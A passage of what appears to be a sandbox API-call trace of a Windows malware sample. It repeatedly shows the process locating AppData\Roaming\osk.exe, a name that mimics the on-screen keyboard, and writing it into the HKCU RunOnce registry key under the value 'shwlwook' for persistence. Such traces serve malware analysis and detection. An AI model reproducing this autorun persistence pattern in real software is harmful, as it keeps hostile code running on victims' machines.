0x0 [0255.860] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x5 [0255.860] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.860] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.860] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.860] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.860] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f1b0 | out: ppvObject=0x624f1b0*=0x0) returned 0x80004002 [0255.860] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x6 [0255.860] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x5 [0255.860] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.860] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x5 [0255.860] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f1c0) returned 0x0 [0255.861] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x4 [0255.861] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.862] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.862] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.862] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.862] RegCloseKey (hKey=0x14c) returned 0x0 [0255.862] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.862] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.875] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.875] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.875] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.875] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.875] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f210 | out: ppvObject=0x624f210*=0x0) returned 0x80004002 [0255.875] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x6 [0255.875] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.875] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x7 [0255.876] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0180) returned 0x0 [0255.876] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x6 [0255.876] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.876] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.876] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.876] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.876] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f230 | out: ppvObject=0x624f230*=0x0) returned 0x80004002 [0255.876] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x7 [0255.876] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x6 [0255.876] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.877] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x6 [0255.877] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f240) returned 0x0 [0255.878] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x5 [0255.878] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.878] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.878] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.878] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.879] RegCloseKey (hKey=0x14c) returned 0x0 [0255.879] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.879] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.917] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.917] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.917] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.917] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.917] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f290 | out: ppvObject=0x624f290*=0x0) returned 0x80004002 [0255.917] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x7 [0255.917] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.917] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x8 [0255.917] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e01e0) returned 0x0 [0255.918] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x7 [0255.918] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.918] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.918] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.918] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.918] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f2b0 | out: ppvObject=0x624f2b0*=0x0) returned 0x80004002 [0255.918] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x8 [0255.918] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x7 [0255.918] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.918] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x7 [0255.918] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f2c0) returned 0x0 [0255.919] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x6 [0255.919] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.920] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.920] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.920] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.920] RegCloseKey (hKey=0x14c) returned 0x0 [0255.921] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.921] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.930] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.930] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.930] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.930] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.930] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f310 | out: ppvObject=0x624f310*=0x0) returned 0x80004002 [0255.930] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x8 [0255.930] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.930] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x9 [0255.931] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0240) returned 0x0 [0255.931] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x8 [0255.931] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, 